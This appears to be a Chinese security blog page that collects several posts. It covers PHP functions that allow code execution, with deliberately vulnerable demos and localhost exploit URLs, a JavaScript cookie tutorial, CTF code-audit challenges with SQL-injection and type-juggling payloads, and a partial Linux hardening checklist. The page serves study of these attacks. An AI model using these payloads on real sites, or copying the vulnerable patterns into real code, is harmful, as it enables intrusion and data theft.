• PHP中容易产生命令执行漏洞的那些函数

    一 代码执行函数

    PHP中可以执行代码的函数。如eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec()

    demo

    1
    2
    3
    <?php
    echo `dir`;
    ?>

    二 文件包含代码注射

    文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()

    allow_url_include=OnPHP Version>=5.2.0 时,导致代码注射。

    demo

    1
    2
    3
    <?php
    include($_GET['a']);
    ?>

    访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E
    执行phpinfo()

    三 正则匹配代码注射

    众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符,即允许执行代码。这里我们分三种情况讨论下

    3.1 preg_replace() pattern 参数注射

    pattern即第一个参数的代码注射。
    magic_quotes_gpc=Off时,导致代码执行。

    demo

    1
    2
    3
    4
    5
    <?php
    echo $regexp = $_GET['reg'];
    $var = '<php>phpinfo()</php>';
    preg_replace("/<php>(.*?)$regexp", '\\1', $var);
    ?>

    访问http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e
    执行phpinfo()

    3.2 preg_replace() replacement参数注射

    replacement即第二个参数的代码注射,导致代码执行。

    demo

    1
    2
    3
    <?
    preg_replace("/test/e",$_GET['h'],"jutst test");
    ?>

    当我们提交 http://127.0.0.1/preg_replace2.php?h=phpinfo()
    执行phpinfo()。

    3.3 preg_replace()第三个参数注射

    我们通过构造subject参数执行代码。提交:http://127.0.0.1/preg_replace3.php?h=[php]phpinfo()[/php]

    或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行

    demo

    1
    2
    3
    <?
    preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
    ?>

    四 动态代码执行

    4.1 动态变量代码执行

    demo

    1
    2
    3
    4
    5
    <?php
    $dyn_func = $_GET['dyn_func'];
    $argument = $_GET['argument'];
    $dyn_func($argument);
    ?>

    我们提交 http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig 执行ipconfig命令

    4.2 动态函数代码执行

    demo

    1
    2
    3
    4
    5
    6
    7
    <pre lang="php" file="demo42.php" colla="+">
    <?php
    $foobar = $_GET['foobar'];
    $dyn_func = create_function('$foobar', "echo $foobar;");
    $dyn_func('');
    ?>

    我们提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 执行dir命令

    五 其他

    5.1 ob_start()函数的代码执行

    demo code 5.1:

    1
    2
    3
    4
    5
    6
    7
    <pre lang="php" file="demo51.php" colla="+">
    <?php
    $foobar = 'system';
    ob_start($foobar);
    echo 'dir';
    ob_end_flush();
    ?>

    5.2 array_map()函数的代码执行

    demo

    1
    2
    3
    4
    5
    6
    7
    <pre lang="php" file="demo52.php" colla="+">
    <?php
    $evil_callback = $_GET['callback'];
    $some_array = array(0, 1, 2, 3);
    $new_array = array_map($evil_callback, $some_array);
    ?>
    </pre>

    我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()

    5.3 unserialize()eval()

    unserialize()是PHP中使用率非常高的函数。不正当使用unserialize()容易导致安全隐患。

    demo

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <pre lang="php" file="demo53.php" colla="+">
    <?php
    class Example {
    var $var = '';
    function __destruct() {
    eval($this->var);
    }
    }
    unserialize($_GET['saved_code']);
    ?>
    </pre>

    我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()

    5.4 容易导致安全问题的函数

    同类型函数还有很多

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    array_map()
    usort(), uasort(), uksort()
    array_filter()
    array_reduce()
    array_diff_uassoc(), array_diff_ukey()
    array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
    array_intersect_assoc(), array_intersect_uassoc()
    array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
    array_walk(), array_walk_recursive()
    xml_set_character_data_handler()
    xml_set_default_handler()
    xml_set_element_handler()
    xml_set_end_namespace_decl_handler()
    xml_set_external_entity_ref_handler()
    xml_set_notation_decl_handler()
    xml_set_processing_instruction_handler()
    xml_set_start_namespace_decl_handler()
    xml_set_unparsed_entity_decl_handler()
    stream_filter_register()
    set_error_handler()
    register_shutdown_function()
    register_tick_function()
  • XSS利用之Cookie

    0x01 什么是cookie

    cookie是浏览器提供的一种机制,它将document对象的cookie属性提供给JavaScript。
    可以由JavaScript对其进行控制,而并不是JavaScript本身的性质。

    cookie是存于用户硬盘的一个文件,这个文件通常对应于一个域名,当浏览器再次访问这个域名时,便使这个cookie可用。
    因此,cookie可以跨越一个域名下的多个网页,但不能跨越多个域名使用。
    不同的浏览器对cookie的实现也不一样,但其性质是相同的。
    cookie机制将信息存储于用户硬盘,因此可以作为全局变量,这是它最大的一个优点。
    它可以用于以下几种场合:

    • 保存用户登录状态。例如将用户id存储于一个cookie内,这样当用户下次访问该页面时就不需要重新登录了,现在很多论坛和社区都提供这样的功能。cookie还可以设置过期时间,当超过时间期限后,cookie就会自动消失。因此,系统往往可以提示用户保持登录状态的时间:常见选项有一个月、三个月、一年等。
    • 跟踪用户行为。例如一个天气预报网站,能够根据用户选择的地区显示当地的天气情况。如果每次都需要选择所在地是烦琐的,当利用了cookie后就会显得很人性化了,系统能够记住上一次访问的地区,当下次再打开该页面时,它就会自动显示上次用户所在地区的天气情况。因为一切都是在后台完成,所以这样的页面就像为某个用户所定制的一样,使用起来非常方便。
    • 定制页面。如果网站提供了换肤或更换布局的功能,那么可以使用cookie来记录用户的选项,例如:背景色、分辨率等。当用户下次访问时,仍然可以保存上一次访问的界面风格。
    • 创建购物车。正如在前面的例子中使用cookie来记录用户需要购买的商品一样,在结账的时候可以统一提交。例如淘宝网就使用cookie记录了用户曾经浏览过的商品,方便随时进行比较。

    当然,上述应用仅仅是cookie能完成的部分应用,还有更多的功能需要全局变量。cookie的缺点主要集中于安全性和隐私保护.
    主要包括以下几种:

    • cookie可能被禁用。当用户非常注重个人隐私保护时,他很可能禁用浏览器的cookie功能;
    • cookie是与浏览器相关的。这意味着即使访问的是同一个页面,不同浏览器之间所保存的cookie也是不能互相访问的;
    • cookie可能被删除。因为每个cookie都是硬盘上的一个文件,因此很有可能被用户删除;
    • cookie安全性不够高。所有的cookie都是以纯文本的形式记录于文件中,因此如果要保存用户名密码等信息时,最好事先经过加密处理。

      0x02 设置cookie

    每个cookie都是一个名/值对,可以把下面这样一个字符串赋值给document.cookie
    document.cookie="userId=828";
    如果要一次存储多个名/值对,可以使用分号加空格(; )隔开,例如:
    document.cookie="userId=828; userName=hulk";
    在cookie的名或值中不能使用分号(;)、逗号(,)、等号(=)以及空格。
    在cookie的名中做到这点很容易,但要保存的值是不确定的。如何来存储这些值呢?
    方法是用escape()函数进行编码,它能将一些特殊符号使用十六进制表示,例如空格将会编码为“20%”,从而可以存储于cookie值中,而且使用此种方案还可以避免中文乱码的出现。
    例如:
    document.cookie="str="+escape("I love ajax");
    相当于:
    document.cookie="str=I%20love%20ajax";
    当使用escape()编码后,在取出值以后需要使用unescape()进行解码才能得到原来的cookie值。
    尽管document.cookie看上去就像一个属性,可以赋不同的值。但它和一般的属性不一样,改变它的赋值并不意味着丢失原来的值,例如连续执行下面两条语句:
    document.cookie="userId=828";
    document.cookie="userName=hulk";
    这时浏览器将维护两个cookie,分别是userId和userName,因此给document.cookie赋值更像执行类似这样的语句:
    document.addcookie("userId=828");
    document.addcookie("userName=hulk");
    事实上,浏览器就是按照这样的方式来设置cookie的,如果要改变一个cookie的值,只需重新赋值,例如:
    document.cookie="userId=929";
    这样就将名为userId的cookie值设置为了929。

    0x03 获取cookie的值

    下面介绍如何获取cookie的值。cookie的值可以由document.cookie直接获得:
    var strcookie=document.cookie;
    这将获得以分号隔开的多个名/值对所组成的字符串,这些名/值对包括了该域名下的所有cookie。
    例如:

    1
    2
    3
    4
    5
    6
    7
    8
    <script language="JavaScript" type="text/JavaScript">
    <!--
    document.cookie="userId=828";
    document.cookie="userName=hulk";
    var strcookie=document.cookie;
    alert(strcookie);
    //-->
    </script>

    只能够一次获取所有的cookie值,而不能指定cookie名称来获得指定的值,这正是处理cookie值最麻烦的一部分。用户必须自己分析这个字符串,来获取指定的cookie值,例如,要获取userId的值,可以这样实现:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <script language="JavaScript" type="text/JavaScript">
    <!--
    //设置两个cookie
    document.cookie="userId=828";
    document.cookie="userName=hulk";
    //获取cookie字符串
    var strcookie=document.cookie;
    //将多cookie切割为多个名/值对
    var arrcookie=strcookie.split("; ");
    var userId;
    //遍历cookie数组,处理每个cookie对
    for(var i=0;i<arrcookie.length;i++){
    var arr=arrcookie[i].split("=");
    //找到名称为userId的cookie,并返回它的值
    if("userId"==arr[0]){
    userId=arr[1];
    break;
    }
    }
    alert(userId);
    //-->
    </script>

    这样就得到了单个cookie的值

    用类似的方法,可以获取一个或多个cookie的值,其主要的技巧仍然是字符串和数组的相关操作。

    0x04 给cookie设置终止日期

    到现在为止,所有的cookie都是单会话cookie,即浏览器关闭后这些cookie将会丢失,事实上这些cookie仅仅是存储在内存中,而没有建立相应的硬盘文件。
    在实际开发中,cookie常常需要长期保存,例如保存用户登录的状态。这可以用下面的选项来实现:
    document.cookie="userId=828; expires=GMT_String";
    其中GMT_String是以GMT格式表示的时间字符串,这条语句就是将userId这个cookie设置为GMT_String表示的过期时间,超过这个时间,cookie将消失,不可访问。
    例如:如果要将cookie设置为10天后过期,可以这样实现:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <script language="JavaScript" type="text/JavaScript">
    <!--
    //获取当前时间
    var date=new Date();
    var expireDays=10;
    //将date设置为10天以后的时间
    date.setTime(date.getTime()+expireDays*24*3600*1000);
    //将userId和userName两个cookie设置为10天后过期
    document.cookie="userId=828; userName=hulk; expire="+date.toGMTString();
    //-->
    </script>

    0x05 删除cookie

    为了删除一个cookie,可以将其过期时间设定为一个过去的时间,例如:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <script language="JavaScript" type="text/JavaScript">
    <!--
    //获取当前时间
    var date=new Date();
    //将date设置为过去的时间
    date.setTime(date.getTime()-10000);
    //将userId这个cookie删除
    document.cookie="userId=828; expire="+date.toGMTString();
    //-->
    </script>

    0x06 指定可访问cookie的路径

    默认情况下,如果在某个页面创建了一个cookie,那么该页面所在目录中的其他页面也可以访问该cookie。如果这个目录下还有子目录,则在子目录中也可以访问。例如在www.xxxx.com/html/a.html中所创建的cookie,可以被www.xxxx.com/html/b.htmlwww.xxx.com/ html/ some/c.html所访问,但不能被www.xxxx.com/d.html访问。
    为了控制cookie可以访问的目录,需要使用path参数设置cookie,语法如下:
    document.cookie="name=value; path=cookieDir";
    其中cookieDir表示可访问cookie的目录。例如:
    document.cookie="userId=320; path=/shop";
    就表示当前cookie仅能在shop目录下使用。
    如果要使cookie在整个网站下可用,可以将cookie_dir指定为根目录,例如:
    document.cookie="userId=320; path=/";

    0x07 指定可访问cookie的主机名

    和路径类似,主机名是指同一个域下的不同主机,例如:www.google.comgmail.google.com就是两个不同的主机名。默认情况下,一个主机中创建的cookie在另一个主机下是不能被访问的,但可以通过domain参数来实现对其的控制,其语法格式为:
    document.cookie="name=value; domain=cookieDomain";
    以google为例,要实现跨主机访问,可以写为:
    document.cookie="name=value;domain=.google.com";
    这样,所有google.com下的主机都可以访问该cookie。

    0x08 综合示例:构造通用的cookie处理函数

    cookie的处理过程比较复杂,并具有一定的相似性。因此可以定义几个函数来完成cookie的通用操作,从而实现代码的复用。下面列出了常用的cookie操作及其函数实现。

    1.添加一个cookie:addcookie(name,value,expireHours)

    该函数接收3个参数:cookie名称,cookie值,以及在多少小时后过期。这里约定expireHours为0时不设定过期时间,即当浏览器关闭时cookie自动消失。该函数实现如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <script language="JavaScript" type="text/JavaScript">
    <!--
    function addcookie(name,value,expireHours){
    var cookieString=name+"="+escape(value);
    //判断是否设置过期时间
    if(expireHours>0){
    var date=new Date();
    date.setTime(date.getTime+expireHours*3600*1000);
    cookieString=cookieString+"; expire="+date.toGMTString();
    }
    document.cookie=cookieString;
    }
    //-->
    </script>

    2.获取指定名称的cookie值:getcookie(name)

    该函数返回名称为name的cookie值,如果不存在则返回空,其实现如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <script language="JavaScript" type="text/JavaScript">
    <!--
    function getcookie(name){
    var strcookie=document.cookie;
    var arrcookie=strcookie.split("; ");
    for(var i=0;i<arrcookie.length;i++){
    var arr=arrcookie[i].split("=");
    if(arr[0]==name)return arr[1];
    }
    return "";
    }
    //-->
    </script>

    3.删除指定名称的cookie:deletecookie(name)

    该函数可以删除指定名称的cookie,其实现如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <script language="JavaScript" type="text/JavaScript">
    <!--
    function deletecookie(name){
    var date=new Date();
    date.setTime(date.getTime()-10000);
    document.cookie=name+"=v; expire="+date.toGMTString();
    }
    //-->
    </script>

    也可以用另一种网上流传的:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <script language="JavaScript" type="text/JavaScript">
    function SetCookie(name,value)//两个参数,一个是cookie的名子,一个是值
    {
    var Days = 30; //此 cookie 将被保存 30 天
    var exp = new Date(); //new Date("December 31, 9998");
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
    }
    function getCookie(name)//取cookies函数
    {
    var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
    if(arr != null) return unescape(arr[2]); return null;

    }
    function delCookie(name)//删除cookie
    {
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    var cval=getCookie(name);
    if(cval!=null) document.cookie= name + "="+cval+";expires="+exp.toGMTString();
    }

    SetCookie ("xiaoqi", "3")
    alert(getCookie('xiaoqi'));
    </script>
  • PHP代码审计TIPS

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    <?php


    $info = "";
    $req = [];
    $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

    ini_set("display_error", false);
    error_reporting(0);

    if(!isset($_GET['number'])){
    header("hint:26966dc52e85af40f59b4fe73d8c323a.txt");

    die("have a fun!!");

    }

    foreach([$_GET, $_POST] as $global_var) {
    foreach($global_var as $key => $value) {
    $value = trim($value);
    is_string($value) && $req[$key] = addslashes($value);
    }
    }


    function is_palindrome_number($number) {
    $number = strval($number);
    $i = 0;
    $j = strlen($number) - 1;
    while($i < $j) {
    if($number[$i] !== $number[$j]) {
    return false;
    }
    $i++;
    $j--;
    }
    return true;
    }


    if(is_numeric($_REQUEST['number']))
    {

    $info="sorry, you cann't input a number!";

    }
    elseif($req['number']!=strval(intval($req['number'])))
    {

    $info = "number must be equal to it's integer!! ";

    }
    else
    {

    $value1 = intval($req["number"]);
    $value2 = intval(strrev($req["number"]));

    if($value1!=$value2){
    $info="no, this is not a palindrome number!";
    }
    else
    {

    if(is_palindrome_number($req["number"])){
    $info = "nice! {$value1} is a palindrome number!";
    }
    else
    {
    $info=$flag;
    }
    }

    }

    echo $info;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    <?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    //把一个或多个数组合并为一个数组
    class db
    {
    public $where;
    function __wakeup()
    {
    if(!empty($this->where))
    {
    $this->select($this->where);
    }
    }
    function select($where)
    {
    $sql = mysql_query('select * from user where '.$where);
    //函数执行一条 MySQL 查询。
    return @mysql_fetch_array($sql);
    //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
    }
    }

    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
    $login = unserialize(gzuncompress(base64_decode($requset['token'])));
    //gzuncompress:进行字符串压缩
    //unserialize: 将已序列化的字符串还原回 PHP 的值

    $db = new db();
    $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
    //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

    if($login['user'] === 'ichunqiu')
    {
    echo $flag;
    }else if($row['pass'] !== $login['pass']){
    echo 'unserialize injection!!';
    }else{
    echo "(╯‵□′)╯︵┴─┴ ";
    }
    }else{
    header('Location: index.php?error=1');
    }

    ?>
    1
    2
    3
    4
    5
    <?php
    $arr = array('user' => 'ichunqiu');
    $a = base64_encode(gzcompress(serialize($arr)));
    echo $a;
    ?>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    <?php
    error_reporting(0);

    if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
    }

    function AttackFilter($StrKey,$StrValue,$ArrReq){
    if (is_array($StrValue)){

    //检测变量是否是数组

    $StrValue=implode($StrValue);

    //返回由数组元素组合成的字符串

    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){

    //匹配成功一次后就会停止匹配

    print "水可载舟,亦可赛艇!";
    exit();
    }
    }

    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
    foreach($_POST as $key=>$value){

    //遍历数组

    AttackFilter($key,$value,$filter);
    }

    $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    if (!$con){
    die('Could not connect: ' . mysql_error());
    }
    $db="XXXXXX";
    mysql_select_db($db, $con);

    //设置活动的 MySQL 数据库

    $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    $query = mysql_query($sql);

    //执行一条 MySQL 查询

    if (mysql_num_rows($query) == 1) {

    //返回结果集中行的数目

    $key = mysql_fetch_array($query);

    //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false

    if($key['pwd'] == $_POST['pwd']) {
    print "CTF{XXXXXX}";
    }else{
    print "亦可赛艇!";
    }
    }else{
    print "一颗赛艇!";
    }
    mysql_close($con);
    ?>
    1
    admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    $flag='xxx'; 
    extract($_GET);
    if(isset($shiyan))
    {
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    {
    echo'ctf{xxx}';
    }
    else
    {
    echo'Oh.no';
    }
    }
    1
    2
    3
    4
    5
    6
    变量覆盖漏洞
    PHP extract() 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。

    file_get_contents:远程获取获取文件,若没有则为空

    构造shiyan=&flag=1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php 
    if (isset ($_GET['password']))
    {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
    echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
    if (strpos ($_GET['password'], '*-*') !== FALSE)
    {
    die('Flag: ' . $flag);
    }
    else
    {
    echo('<p>*-* have not been found</p>');
    }
    }
    else
    {
    echo '<p>Invalid password</p>';
    }
    }
    ?>
    1
    2
    3
    ereg漏洞
    payload:1e9%00*-*
    正则%00截断
    1
    2
    3
    4
    5
    6
    7
    if (isset($_GET['a'])) {  
    if (strcmp($_GET['a'], $flag) == 0)
    //比较两个字符串(区分大小写)
    die('Flag: '.$flag);
    else
    print '离成功更近一步了';
    }
    1
    payload:?a[]=1

    漏洞原理

    1
    在5.3的版本之后使用strcmp函数比较会返回0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    if (isset($_GET['name']) and isset($_GET['password']))
    {
    if ($_GET['name'] == $_GET['password'])
    echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);
    else
    echo '<p>Invalid password.</p>';
    }
    else
    echo '<p>Login first!</p>';
    ?>
    1
    2
    3
    ===会比较类型,比如bool。
    sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了,需要构造username和password既不相等,又同样是数组类型
    ?name[]=a&password[]=b
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    session_start();
    if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
    die ('Flag: '.$flag);
    else
    print '<p>Wrong guess.</p>';
    }
    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    ?>
    1
    抓包删掉cookie中的session即可
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    <?php


    if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
    die("Connection failed: " . mysql_error($conn));
    }
    $user = $_POST[user];
    $pass = md5($_POST[pass]);

    $sql = "select pw from php where user='$user'";
    $query = mysql_query($sql);
    if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    //echo $row["pw"];

    if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

    //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。


    echo "<p>Logged in! Key:************** </p>";
    }
    else {
    echo("<p>Log in failure!</p>");

    }
    }
    ?>

    通过构造sql语句使row[pw]等于pass

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    if(eregi("hackerDJ",$_GET[id])) {
    echo("<p>not allowed!</p>");
    exit();
    }

    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
    echo "<p>Access granted!</p>";
    echo "<p>flag: *****************} </p>";
    }
    ?>

    正则漏洞,%00截断

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <?php


    if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("*******", "****", "****");
    mysql_select_db("****") or die("Could not select database");
    if ($conn->connect_error) {
    die("Connection failed: " . mysql_error($conn));
    }
    $user = $_POST[user];
    $pass = md5($_POST[pass]);

    $sql = "select user from php where (user='$user') and (pw='$pass')";
    $query = mysql_query($sql);
    if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    //echo $row["pw"];
    if($row['user']=="admin") {
    echo "<p>Logged in! Key: *********** </p>";
    }

    if($row['user'] != "admin") {
    echo("<p>You are not admin!</p>");
    }
    }

    ?>

    闭合注入,绕过验证

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    function GetIP(){
    if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
    else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
    else
    $cip = "0.0.0.0";
    return $cip;
    }

    $GetIPs = GetIP();
    if ($GetIPs=="1.1.1.1"){
    echo "Great! Key is *********";
    }
    else{
    echo "错误!你的IP不在访问列表之内!";
    }
    ?>

    添加http头即可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
    } else {
    echo "false!!!";
    }}
    else{echo "please input a";}
    ?>

    240610708神奇的数字

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    if($_GET[id]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $id = intval($_GET[id]);
    $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
    if ($_GET[id]==1024) {
    echo "<p>no! try again</p>";
    }
    else{
    echo($query[content]);
    }
    }
    ?>

    1024.1

    1
    2
    3
    4
    5
    6
    7
    8
    if (isset ($_GET['nctf'])) {
    if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
    echo '必须输入数字才行';
    else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
    die('Flag: '.$flag);
    else
    echo '骚年,继续努力吧啊~';
    }

    此处还可以数组绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    #GOAL: login as admin,then get the flag;
    error_reporting(0);
    require 'db.inc.php';

    function clean($str){
    if(get_magic_quotes_gpc()){
    $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
    }

    $username = @clean((string)$_GET['username']);
    $password = @clean((string)$_GET['password']);

    $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
    $result=mysql_query($query);
    if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
    }

    echo $flag;
    1
    $query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php
    if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
    if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {

    //strcasecmp:0 - 如果两个字符串相等

    echo "<p>Logged in! Key: ntcf{**************} </p>";
    }
    else {
    echo("<p>Log in failure!</p>");
    }
    }
    ?>
    1
    payload:user=admin' and 0=1 union select '47bce5c74f589f4867dbd57e9ca9f808' #&pass=aaa
  • Linux系统加固

    为空口令用户设置密码

    1
    2
    3
    4
    cat /etc/passwd
    注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序
    查看是否存在空口令用户(X为存在密码,*为被封禁)
    passwd 空口令用户名

    缺省密码长度限制

    1
    2
    3
    4
    vim /etc/login.defs 
    查看PASS_MIN_LEN选项值
    PASS_MIN_LEN 8
    设置密码长度最短为8

    缺省密码生存周期限制

    1
    2
    3
    4
    vim /etc/login.defs 
    PASS_MAX_DAYS 90
    PASS_MIN_DAYS 0
    设置帐户口令的生存期不长于90 天

    口令过期提醒

    1
    2
    3
    vim /etc/login.defs
    PASS_WARN_AGE 7
    口令到期前多少天开始通知用户口令即将到期

    限制超级管理员远程登录

    1
    2
    3
    4
    5
    6
    7
    vim /etc/ssh/sshd_config
    把PermitRootLogin yes修改为no
    service sshd restart
    重启sshd服务
    如果遇到sshd: unrecognized service错误
    尝试一下service ssh restart
    用ps -ef | grep sshd查看一下服务是否启动

    为不同的管理员分配不同的账户

    1
    2
    3
    4
    5
    cat /etc/passwd
    useradd username
    passwd password
    增加新用户
    chmod 777 目录

    去除不需要的帐号、修改默认帐号的shell变量

    1
    2
    3
    4
    5
    6
    7
    8
    cat /etc/passwd
    cat /etc/shadow
    删除不需要的账户
    userdel username
    groupdel username

    设置shell
    usermod -s /dev/hull username

    对系统账号进行登陆限制

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    禁止某用户登陆
    example:
    bin:x:2:2:bin:/bin:/bin/bash
    =>
    bin:x:2:2:bin:/bin:/bin/nologin
